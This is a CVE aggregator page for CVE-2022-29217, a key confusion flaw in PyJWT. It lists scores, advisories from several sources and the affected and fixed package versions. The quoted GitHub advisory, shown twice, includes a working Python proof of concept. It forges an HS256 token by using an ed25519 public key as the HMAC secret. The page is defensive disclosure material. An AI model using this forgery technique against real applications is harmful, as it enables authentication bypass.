Every CVE Search/ Get API key

CVE-2022-29217

Key confusion through non-blocklisted public key formats in PyJWT

7.4 HighFix available

PyJWT is a Python implementation of RFC 7519. PyJWT supports multiple different JWT signing algorithms. With JWT, an attacker submitting the JWT token can choose the used signing algorithm. The PyJWT library requires that the application chooses what algorithms are supported. The application can specify jwt.algorithms.get_default_algorithms() to get support for all algorithms, or specify a single algorithm. The issue is not that big as algorithms=jwt.algorithms.get_default_algorithms() has to be used. Users should upgrade to v2.4.0 to receive a patch for this issue. As a workaround, always be explicit with the algorithms that are accepted and expected when decoding.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
High
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
None

Exploit likelihood

1.35%Up 0.5 points since May 25, 2022
90%50%10%1%

What each source reports

CVE List Score used 7.4

Key confusion through non-blocklisted public key formats in PyJWT

PyJWT is a Python implementation of RFC 7519. PyJWT supports multiple different JWT signing algorithms. With JWT, an attacker submitting the JWT token can choose the used signing algorithm. The PyJWT library requires that the application chooses what algorithms are supported. The application can specify jwt.algorithms.get_default_algorithms() to get support for all algorithms, or specify a single algorithm. The issue is not that big as algorithms=jwt.algorithms.get_default_algorithms() has to be used. Users should upgrade to v2.4.0 to receive a patch for this issue. As a workaround, always be explicit with the algorithms that are accepted and expected when decoding.

Record
CVE-2022-29217
CVSS 3.1
7.4 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Weakness
CWE-327
Updated
2026-11-02
EUVDEUVD-2022-0213 7.4

PyJWT is a Python implementation of RFC 7519. PyJWT supports multiple different JWT signing algorithms. With JWT, an attacker submitting the JWT token can choose the used signing algorithm. The PyJWT library requires that the application chooses what algorithms are supported. The application can specify jwt.algorithms.get_default_algorithms() to get support for all algorithms, or specify a single algorithm. The issue is not that big as algorithms=jwt.algorithms.get_default_algorithms() has to be used. Users should upgrade to v2.4.0 to receive a patch for this issue. As a workaround, always be explicit with the algorithms that are accepted and expected when decoding.

Record
EUVD-2022-0213
CVSS 3.1
7.4 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-ffqj-6fqr-9h24 7.4

Key confusion through non-blocklisted public key formats

Impact

What kind of vulnerability is it? Who is impacted?

Disclosed by Aapo Oksman (Senior Security Specialist, Nixu Corporation).

PyJWT supports multiple different JWT signing algorithms. With JWT, an attacker submitting the JWT token can choose the used signing algorithm.

The PyJWT library requires that the application chooses what algorithms are supported. The application can specify "jwt.algorithms.get_default_algorithms()" to get support for all algorithms. They can also specify a single one of them (which is the usual use case if calling jwt.decode directly. However, if calling jwt.decode in a helper function, all algorithms might be enabled.)

For example, if the user chooses "none" algorithm and the JWT checker supports that, there will be no signature checking. This is a common security issue with some JWT implementations.

PyJWT combats this by requiring that the if the "none" algorithm is used, the key has to be empty. As the key is given by the application running the checker, attacker cannot force "none" cipher to be used.

Similarly with HMAC (symmetric) algorithm, PyJWT checks that the key is not a public key meant for asymmetric algorithm i.e. HMAC cannot be used if the key begins with "ssh-rsa". If HMAC is used with a public key, the attacker can just use the publicly known public key to sign the token and the checker would use the same key to verify.

From PyJWT 2.0.0 onwards, PyJWT supports ed25519 asymmetric algorithm. With ed25519, PyJWT supports public keys that start with "ssh-", for example "ssh-ed25519".

import jwt
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import ed25519

# Generate ed25519 private key
private_key = ed25519.Ed25519PrivateKey.generate()

# Get private key bytes as they would be stored in a file
priv_key_bytes = 
private_key.private_bytes(encoding=serialization.Encoding.PEM,format=serialization.PrivateFormat.PKCS8, 
encryption_algorithm=serialization.NoEncryption())

# Get public key bytes as they would be stored in a file
pub_key_bytes = 
private_key.public_key().public_bytes(encoding=serialization.Encoding.OpenSSH,format=serialization.PublicFormat.OpenSSH)

# Making a good jwt token that should work by signing it with the 
private key
encoded_good = jwt.encode({"test": 1234}, priv_key_bytes, algorithm="EdDSA")

# Using HMAC with the public key to trick the receiver to think that the 
public key is a HMAC secret
encoded_bad = jwt.encode({"test": 1234}, pub_key_bytes, algorithm="HS256")

# Both of the jwt tokens are validated as valid
decoded_good = jwt.decode(encoded_good, pub_key_bytes, 
algorithms=jwt.algorithms.get_default_algorithms())
decoded_bad = jwt.decode(encoded_bad, pub_key_bytes, 
algorithms=jwt.algorithms.get_default_algorithms())

if decoded_good == decoded_bad:
     print("POC Successfull")

# Of course the receiver should specify ed25519 algorithm to be used if 
they specify ed25519 public key. However, if other algorithms are used, 
the POC does not work
# HMAC specifies illegal strings for the HMAC secret in jwt/algorithms.py
#
#        invalid_strings = [
#            b"-----BEGIN PUBLIC KEY-----",
#            b"-----BEGIN CERTIFICATE-----",
#            b"-----BEGIN RSA PUBLIC KEY-----",
#            b"ssh-rsa",
#        ]
#
# However, OKPAlgorithm (ed25519) accepts the following in 
jwt/algorithms.py:
#
#                if "-----BEGIN PUBLIC" in str_key:
#                    return load_pem_public_key(key)
#                if "-----BEGIN PRIVATE" in str_key:
#                    return load_pem_private_key(key, password=None)
#                if str_key[0:4] == "ssh-":
#                    return load_ssh_public_key(key)
#
# These should most likely made…
Record
GHSA-ffqj-6fqr-9h24
CVSS 3.1
7.4 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Weakness
CWE-327
Updated
2026-11-02
NVD 7.4

PyJWT is a Python implementation of RFC 7519. PyJWT supports multiple different JWT signing algorithms. With JWT, an attacker submitting the JWT token can choose the used signing algorithm. The PyJWT library requires that the application chooses what algorithms are supported. The application can specify jwt.algorithms.get_default_algorithms() to get support for all algorithms, or specify a single algorithm. The issue is not that big as algorithms=jwt.algorithms.get_default_algorithms() has to be used. Users should upgrade to v2.4.0 to receive a patch for this issue. As a workaround, always be explicit with the algorithms that are accepted and expected when decoding.

Record
CVE-2022-29217
CVSS 3.1
7.4 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
CVSS 2.0
5.0 MediumAV:N/AC:L/Au:N/C:N/I:P/A:N
Weakness
CWE-327
Updated
2026-11-02
OSVALPINE-CVE-2022-29217 7.5

PyJWT is a Python implementation of RFC 7519. PyJWT supports multiple different JWT signing algorithms. With JWT, an attacker submitting the JWT token can choose the used signing algorithm. The PyJWT library requires that the application chooses what algorithms are supported. The application can specify jwt.algorithms.get_default_algorithms() to get support for all algorithms, or specify a single algorithm. The issue is not that big as algorithms=jwt.algorithms.get_default_algorithms() has to be used. Users should upgrade to v2.4.0 to receive a patch for this issue. As a workaround, always be explicit with the algorithms that are accepted and expected when decoding.

Record
ALPINE-CVE-2022-29217
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Updated
2026-11-03
OSVAZL-9852 7.5

CVE-2022-29217 affecting package python-jwt for versions less than 2.4.0-1

PyJWT is a Python implementation of RFC 7519. PyJWT supports multiple different JWT signing algorithms. With JWT, an attacker submitting the JWT token can choose the used signing algorithm. The PyJWT library requires that the application chooses what algorithms are supported. The application can specify jwt.algorithms.get_default_algorithms() to get support for all algorithms, or specify a single algorithm. The issue is not that big as algorithms=jwt.algorithms.get_default_algorithms() has to be used. Users should upgrade to v2.4.0 to receive a patch for this issue. As a workaround, always be explicit with the algorithms that are accepted and expected when decoding.

Record
AZL-9852
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Updated
2026-11-02
Show 19 moreShow less
OSV 7.4

Key confusion through non-blocklisted public key formats in PyJWT

PyJWT is a Python implementation of RFC 7519. PyJWT supports multiple different JWT signing algorithms. With JWT, an attacker submitting the JWT token can choose the used signing algorithm. The PyJWT library requires that the application chooses what algorithms are supported. The application can specify jwt.algorithms.get_default_algorithms() to get support for all algorithms, or specify a single algorithm. The issue is not that big as algorithms=jwt.algorithms.get_default_algorithms() has to be used. Users should upgrade to v2.4.0 to receive a patch for this issue. As a workaround, always be explicit with the algorithms that are accepted and expected when decoding.

Record
CVE-2022-29217
CVSS 3.1
7.4 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Weakness
CWE-327
Updated
2026-11-02
OSVGHSA-ffqj-6fqr-9h24 7.4

Key confusion through non-blocklisted public key formats

Impact

What kind of vulnerability is it? Who is impacted?

Disclosed by Aapo Oksman (Senior Security Specialist, Nixu Corporation).

PyJWT supports multiple different JWT signing algorithms. With JWT, an attacker submitting the JWT token can choose the used signing algorithm.

The PyJWT library requires that the application chooses what algorithms are supported. The application can specify "jwt.algorithms.get_default_algorithms()" to get support for all algorithms. They can also specify a single one of them (which is the usual use case if calling jwt.decode directly. However, if calling jwt.decode in a helper function, all algorithms might be enabled.)

For example, if the user chooses "none" algorithm and the JWT checker supports that, there will be no signature checking. This is a common security issue with some JWT implementations.

PyJWT combats this by requiring that the if the "none" algorithm is used, the key has to be empty. As the key is given by the application running the checker, attacker cannot force "none" cipher to be used.

Similarly with HMAC (symmetric) algorithm, PyJWT checks that the key is not a public key meant for asymmetric algorithm i.e. HMAC cannot be used if the key begins with "ssh-rsa". If HMAC is used with a public key, the attacker can just use the publicly known public key to sign the token and the checker would use the same key to verify.

From PyJWT 2.0.0 onwards, PyJWT supports ed25519 asymmetric algorithm. With ed25519, PyJWT supports public keys that start with "ssh-", for example "ssh-ed25519".

import jwt
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import ed25519

# Generate ed25519 private key
private_key = ed25519.Ed25519PrivateKey.generate()

# Get private key bytes as they would be stored in a file
priv_key_bytes = 
private_key.private_bytes(encoding=serialization.Encoding.PEM,format=serialization.PrivateFormat.PKCS8, 
encryption_algorithm=serialization.NoEncryption())

# Get public key bytes as they would be stored in a file
pub_key_bytes = 
private_key.public_key().public_bytes(encoding=serialization.Encoding.OpenSSH,format=serialization.PublicFormat.OpenSSH)

# Making a good jwt token that should work by signing it with the 
private key
encoded_good = jwt.encode({"test": 1234}, priv_key_bytes, algorithm="EdDSA")

# Using HMAC with the public key to trick the receiver to think that the 
public key is a HMAC secret
encoded_bad = jwt.encode({"test": 1234}, pub_key_bytes, algorithm="HS256")

# Both of the jwt tokens are validated as valid
decoded_good = jwt.decode(encoded_good, pub_key_bytes, 
algorithms=jwt.algorithms.get_default_algorithms())
decoded_bad = jwt.decode(encoded_bad, pub_key_bytes, 
algorithms=jwt.algorithms.get_default_algorithms())

if decoded_good == decoded_bad:
     print("POC Successfull")

# Of course the receiver should specify ed25519 algorithm to be used if 
they specify ed25519 public key. However, if other algorithms are used, 
the POC does not work
# HMAC specifies illegal strings for the HMAC secret in jwt/algorithms.py
#
#        invalid_strings = [
#            b"-----BEGIN PUBLIC KEY-----",
#            b"-----BEGIN CERTIFICATE-----",
#            b"-----BEGIN RSA PUBLIC KEY-----",
#            b"ssh-rsa",
#        ]
#
# However, OKPAlgorithm (ed25519) accepts the following in 
jwt/algorithms.py:
#
#                if "-----BEGIN PUBLIC" in str_key:
#                    return load_pem_public_key(key)
#                if "-----BEGIN PRIVATE" in str_key:
#                    return load_pem_private_key(key, password=None)
#                if str_key[0:4] == "ssh-":
#                    return load_ssh_public_key(key)
#
# These should most likely made…
Record
GHSA-ffqj-6fqr-9h24
CVSS 3.1
7.4 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Weakness
CWE-327
Updated
2026-11-02
OSVOESA-2022-1710 7.4

python-jwt security update

PyJWT is a Python library which allows you to encode and decode JSON Web Tokens (JWT). \ JWT is an open, industry-standard (RFC 7519) for representing claims securely between two parties.

Security Fix(es):

PyJWT is a Python implementation of RFC 7519. PyJWT supports multiple different JWT signing algorithms. With JWT, an attacker submitting the JWT token can choose the used signing algorithm. The PyJWT library requires that the application chooses what algorithms are supported. The application can specify jwt.algorithms.get_default_algorithms() to get support for all algorithms, or specify a single algorithm. The issue is not that big as algorithms=jwt.algorithms.get_default_algorithms() has to be used. Users should upgrade to v2.4.0 to receive a patch for this issue. As a workaround, always be explicit with the algorithms that are accepted and expected when decoding.(CVE-2022-29217)

Record
OESA-2022-1710
CVSS 3.1
7.4 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Updated
2026-11-02
OSVUBUNTU-CVE-2022-29217 7.5

PyJWT is a Python implementation of RFC 7519. PyJWT supports multiple different JWT signing algorithms. With JWT, an attacker submitting the JWT token can choose the used signing algorithm. The PyJWT library requires that the application chooses what algorithms are supported. The application can specify jwt.algorithms.get_default_algorithms() to get support for all algorithms, or specify a single algorithm. The issue is not that big as algorithms=jwt.algorithms.get_default_algorithms() has to be used. Users should upgrade to v2.4.0 to receive a patch for this issue. As a workaround, always be explicit with the algorithms that are accepted and expected when decoding.

Record
UBUNTU-CVE-2022-29217
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
CVSS 3.1
7.4 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Updated
2026-11-02
OSVCLSA-2025-1756858338 No score

TuxCare security update for pyjwt (1 CVE)

TuxCare rebuilt pyjwt to address 1 CVE. Fixed in 2.3.0.post1+tuxcare.

Record
CLSA-2025-1756858338
Updated
2026-11-02
OSVCLSA-2025-1757635911 No score

TuxCare security update for dnspython (1 CVE)

TuxCare rebuilt dnspython to address 1 CVE. Fixed in 2.3.0.post1+tuxcare.

Record
CLSA-2025-1757635911
Updated
2026-11-02
OSVCLSA-2025-1765930336 No score

TuxCare security update for pyjwt (1 CVE)

TuxCare rebuilt pyjwt to address 1 CVE. Fixed in 1.7.1.post1+tuxcare.

Record
CLSA-2025-1765930336
Updated
2026-11-02
OSVCLSA-2026-1787038724 No score

TuxCare security update for pyjwt (3 CVEs)

TuxCare rebuilt pyjwt to address 3 CVEs. Fixed in 1.7.1.post3+tuxcare.

Record
CLSA-2026-1787038724
Updated
2026-11-02
OSVDEBIAN-CVE-2022-29217 No score

PyJWT is a Python implementation of RFC 7519. PyJWT supports multiple different JWT signing algorithms. With JWT, an attacker submitting the JWT token can choose the used signing algorithm. The PyJWT library requires that the application chooses what algorithms are supported. The application can specify jwt.algorithms.get_default_algorithms() to get support for all algorithms, or specify a single algorithm. The issue is not that big as algorithms=jwt.algorithms.get_default_algorithms() has to be used. Users should upgrade to v2.4.0 to receive a patch for this issue. As a workaround, always be explicit with the algorithms that are accepted and expected when decoding.

Record
DEBIAN-CVE-2022-29217
Updated
2026-11-03
OSVMGASA-2022-0244 No score

Updated python-pyjwt packages fix security vulnerability

An attacker submitting the JWT token can choose the used signing algorithm (CVE-2022-29217)

Record
MGASA-2022-0244
Updated
2026-11-02
OSVopenSUSE-SU-2024:12139-1 No score

python310-PyJWT-2.4.0-1.1 on GA media

These are all security issues fixed in the python310-PyJWT-2.4.0-1.1 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2024:12139-1
Updated
2026-11-02
OSVopenSUSE-SU-2025:14987-1 No score

python311-PyJWT-2.10.1-2.1 on GA media

These are all security issues fixed in the python311-PyJWT-2.10.1-2.1 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2025:14987-1
Updated
2026-11-02
OSVPYSEC-2022-202 No score

PyJWT is a Python implementation of RFC 7519. PyJWT supports multiple different JWT signing algorithms. With JWT, an attacker submitting the JWT token can choose the used signing algorithm. The PyJWT library requires that the application chooses what algorithms are supported. The application can specify jwt.algorithms.get_default_algorithms() to get support for all algorithms, or specify a single algorithm. The issue is not that big as algorithms=jwt.algorithms.get_default_algorithms() has to be used. Users should upgrade to v2.4.0 to receive a patch for this issue. As a workaround, always be explicit with the algorithms that are accepted and expected when decoding.

Record
PYSEC-2022-202
Updated
2026-11-02
OSVSUSE-SU-2022:2401-1 No score

Security update for python-PyJWT

This update for python-PyJWT fixes the following issues:

  • CVE-2022-29217: Fixed key confusion through non-blocklisted public key format (bsc#1199756).
Record
SUSE-SU-2022:2401-1
Updated
2026-11-02
OSVSUSE-SU-2022:2402-1 No score

Security update for python-PyJWT

This update for python-PyJWT fixes the following issues:

  • CVE-2022-29217: Fixed key confusion through non-blocklisted public key format (bsc#1199756).
Record
SUSE-SU-2022:2402-1
Updated
2026-11-02
OSVSUSE-SU-2022:2403-1 No score

Security update for python-PyJWT

This update for python-PyJWT fixes the following issues:

  • CVE-2022-29217: Fixed key confusion through non-blocklisted public key format (bsc#1199756).
Record
SUSE-SU-2022:2403-1
Updated
2026-11-02
OSVSUSE-SU-2022:3545-1 No score

Security update for python-PyJWT

This update for python-PyJWT fixes the following issues:

  • CVE-2022-29217: Fixed key confusion through non-blocklisted public key formats (bsc#1199756).
Record
SUSE-SU-2022:3545-1
Updated
2026-11-02
OSVSUSE-SU-2023:0794-1 No score

Security update for python-PyJWT

This update for python-PyJWT fixes the following issues:

  • CVE-2022-29217: Fixed Key confusion through non-blocklisted public key formats (bsc#1199756).

  • Update in SLE-15 (bsc#1199282, jsc#PM-3243, jsc#SLE-24629)

  • Update to 2.4.0 (bsc#1199756)

    • Explicit check the key for ECAlgorithm
    • Don't use implicit optionals
    • documentation fix: show correct scope
    • fix: Update copyright information
    • Don't mutate options dictionary in .decode_complete()
    • Add support for Python 3.10
    • api_jwk: Add PyJWKSet.getitem
    • Update usage.rst
    • Docs: mention performance reasons for reusing RSAPrivateKey when encoding
    • Fixed typo in usage.rst
    • Add detached payload support for JWS encoding and decoding
    • Replace various string interpolations with f-strings by
Record
SUSE-SU-2023:0794-1
Updated
2026-11-02
OSVUSN-5526-1 No score

pyjwt vulnerability

Aapo Oksman discovered that PyJWT incorrectly handled signatures constructed from SSH public keys. A remote attacker could use this to forge a JWT signature.

Record
USN-5526-1
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
pyjwt
PyPI
1.5.0 up to 2.4.0
2.4.0
py3-jwt
Alpine:v3.16
before 2.4.0-r0
2.4.0-r0
py3-jwt
Alpine:v3.17
before 2.4.0-r0
2.4.0-r0
py3-jwt
Alpine:v3.18
before 2.4.0-r0
2.4.0-r0
py3-jwt
Alpine:v3.19
before 2.4.0-r0
2.4.0-r0
py3-jwt
Alpine:v3.20
before 2.4.0-r0
2.4.0-r0
py3-jwt
Alpine:v3.21
before 2.4.0-r0
2.4.0-r0
py3-jwt
Alpine:v3.22
before 2.4.0-r0
2.4.0-r0
py3-jwt
Alpine:v3.23
before 2.4.0-r0
2.4.0-r0
py3-jwt
Alpine:v3.24
before 2.4.0-r0
2.4.0-r0
Show 53 moreShow less
Affected packages
PackageAffectedFixed
python-jwt
Azure Linux:2
before 2.4.0-1
2.4.0-1
pyjwt
TuxCare:PyPI
2.3.0 up to 2.3.0.post1+tuxcare
2.3.0.post1+tuxcare
pyjwt
TuxCare:PyPI
From an advisory covering 3 CVEs
1.7.1 up to 1.7.1.post3+tuxcare, plus listed versions
1.7.1.post1+tuxcare1.7.1.post2+tuxcare
1.7.1.post3+tuxcare
pyjwt
Debian:12
before 2.4.0-1
2.4.0-1
pyjwt
Debian:13
before 2.4.0-1
2.4.0-1
pyjwt
Debian:14
before 2.4.0-1
2.4.0-1
pyjwt
PyPI
1.5.0 up to 2.4.0, plus listed versions
1.5.11.5.21.5.31.6.01.6.1
Show 11 moreShow less
1.6.31.6.41.7.01.7.12.0.02.0.0a12.0.0a22.0.12.1.02.2.02.3.0
2.4.0
python-pyjwt
Mageia:8
before 2.4.0-1.mga8
2.4.0-1.mga8
python-jwt
openEuler:20.03-LTS-SP1
before 1.7.1-3.oe1
1.7.1-3.oe1
python-jwt
openEuler:20.03-LTS-SP3
before 1.7.1-3.oe1
1.7.1-3.oe1
python-jwt
openEuler:22.03-LTS
before 2.3.0-3.oe2203
2.3.0-3.oe2203
python-PyJWT
SUSE:Linux Enterprise Module for Public Cloud 12
before 1.5.3-3.16.1
1.5.3-3.16.1
python-PyJWT
SUSE:Linux Enterprise Module for Basesystem 15 SP3
before 1.7.1-150200.3.3.1
1.7.1-150200.3.3.1
python-PyJWT
SUSE:Linux Enterprise Module for Basesystem 15 SP4
before 1.7.1-150200.3.3.1
1.7.1-150200.3.3.1
python-PyJWT
SUSE:Linux Enterprise Module for Package Hub 15 SP3
before 1.7.1-150200.3.3.1
1.7.1-150200.3.3.1
python-PyJWT
SUSE:Linux Enterprise High Performance Computing 15 SP2-ESPOS
before 1.7.1-150200.3.3.1
1.7.1-150200.3.3.1
python-PyJWT
SUSE:Linux Enterprise High Performance Computing 15 SP2-LTSS
before 1.7.1-150200.3.3.1
1.7.1-150200.3.3.1
python-PyJWT
SUSE:Linux Enterprise Server 15 SP2-BCL
before 1.7.1-150200.3.3.1
1.7.1-150200.3.3.1
python-PyJWT
SUSE:Linux Enterprise Server 15 SP2-LTSS
before 1.7.1-150200.3.3.1
1.7.1-150200.3.3.1
python-PyJWT
SUSE:Linux Enterprise Server for SAP Applications 15 SP2
before 1.7.1-150200.3.3.1
1.7.1-150200.3.3.1
python-PyJWT
SUSE:Manager Proxy 4.1
before 1.7.1-150200.3.3.1
1.7.1-150200.3.3.1
python-PyJWT
SUSE:Manager Retail Branch Server 4.1
before 1.7.1-150200.3.3.1
1.7.1-150200.3.3.1
python-PyJWT
SUSE:Manager Server 4.1
before 1.7.1-150200.3.3.1
1.7.1-150200.3.3.1
python-PyJWT
SUSE:Enterprise Storage 7
before 1.7.1-150200.3.3.1
1.7.1-150200.3.3.1
python-PyJWT
openSUSE:Leap 15.3
before 1.7.1-150200.3.3.1
1.7.1-150200.3.3.1
python-PyJWT
openSUSE:Leap 15.4
before 1.7.1-150200.3.3.1
1.7.1-150200.3.3.1
python-PyJWT
SUSE:Linux Enterprise Module for Public Cloud 15 SP1
before 1.7.1-150100.6.7.1
1.7.1-150100.6.7.1
python-PyJWT
SUSE:Linux Enterprise Module for Public Cloud 15 SP2
before 1.7.1-150100.6.7.1
1.7.1-150100.6.7.1
python-PyJWT
SUSE:Linux Enterprise High Performance Computing 15 SP1-ESPOS
before 1.7.1-150100.6.7.1
1.7.1-150100.6.7.1
python-PyJWT
SUSE:Linux Enterprise High Performance Computing 15 SP1-LTSS
before 1.7.1-150100.6.7.1
1.7.1-150100.6.7.1
python-PyJWT
SUSE:Linux Enterprise Server 15 SP1-BCL
before 1.7.1-150100.6.7.1
1.7.1-150100.6.7.1
python-PyJWT
SUSE:Linux Enterprise Server 15 SP1-LTSS
before 1.7.1-150100.6.7.1
1.7.1-150100.6.7.1
python-PyJWT
SUSE:Linux Enterprise Server for SAP Applications 15 SP1
before 1.7.1-150100.6.7.1
1.7.1-150100.6.7.1
python-PyJWT
SUSE:Enterprise Storage 6
before 1.7.1-150100.6.7.1
1.7.1-150100.6.7.1
python-PyJWT
SUSE:Linux Enterprise Module for Public Cloud 15
before 1.5.3-150000.3.3.1
1.5.3-150000.3.3.1
python-PyJWT
SUSE:Linux Enterprise Module for Basesystem 15 SP4
before 2.4.0-150200.3.6.2
2.4.0-150200.3.6.2
python-PyJWT
SUSE:Linux Enterprise High Performance Computing 15 SP2-LTSS
before 2.4.0-150200.3.6.2
2.4.0-150200.3.6.2
python-PyJWT
SUSE:Linux Enterprise High Performance Computing 15 SP3-ESPOS
before 2.4.0-150200.3.6.2
2.4.0-150200.3.6.2
python-PyJWT
SUSE:Linux Enterprise High Performance Computing 15 SP3-LTSS
before 2.4.0-150200.3.6.2
2.4.0-150200.3.6.2
python-PyJWT
SUSE:Linux Enterprise Real Time 15 SP3
before 2.4.0-150200.3.6.2
2.4.0-150200.3.6.2
python-PyJWT
SUSE:Linux Enterprise Server 15 SP2-LTSS
before 2.4.0-150200.3.6.2
2.4.0-150200.3.6.2
python-PyJWT
SUSE:Linux Enterprise Server 15 SP3-LTSS
before 2.4.0-150200.3.6.2
2.4.0-150200.3.6.2
python-PyJWT
SUSE:Linux Enterprise Server for SAP Applications 15 SP2
before 2.4.0-150200.3.6.2
2.4.0-150200.3.6.2
python-PyJWT
SUSE:Linux Enterprise Server for SAP Applications 15 SP3
before 2.4.0-150200.3.6.2
2.4.0-150200.3.6.2
python-PyJWT
SUSE:Manager Proxy 4.2
before 2.4.0-150200.3.6.2
2.4.0-150200.3.6.2
python-PyJWT
SUSE:Manager Server 4.2
before 2.4.0-150200.3.6.2
2.4.0-150200.3.6.2
python-PyJWT
SUSE:Enterprise Storage 7
before 2.4.0-150200.3.6.2
2.4.0-150200.3.6.2
python-PyJWT
SUSE:Enterprise Storage 7.1
before 2.4.0-150200.3.6.2
2.4.0-150200.3.6.2
python-PyJWT
openSUSE:Leap 15.4
before 2.4.0-150200.3.6.2
2.4.0-150200.3.6.2
pyjwt
Ubuntu:18.04:LTS
before 1.5.3+ds1-1ubuntu0.1, plus listed versions
1.4.2-1.11.5.3+ds1-1
1.5.3+ds1-1ubuntu0.1
pyjwt
Ubuntu:20.04:LTS
before 1.7.1-2ubuntu2.1, plus listed versions
1.7.0-21.7.1-11.7.1-2ubuntu11.7.1-2ubuntu2
1.7.1-2ubuntu2.1
pyjwt
Ubuntu:22.04:LTS
before 2.3.0-1ubuntu0.1, plus listed versions
1.7.1-2ubuntu22.1.0-12.3.0-1
2.3.0-1ubuntu0.1
python-PyJWT
openSUSE:Tumbleweed
before 2.10.1-2.1
2.10.1-2.1

History

History
RecordedChangedSources
affected, facts
affected, aliases, referencesOSV
affected
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2022-29217 is a high vulnerability (CVSS 7.4) in Jpadilla Pyjwt, published May 24, 2022. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.35%, the 71st percentile. Fixed in pyjwt 2.4.0.

References

Show 27 moreShow less
This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open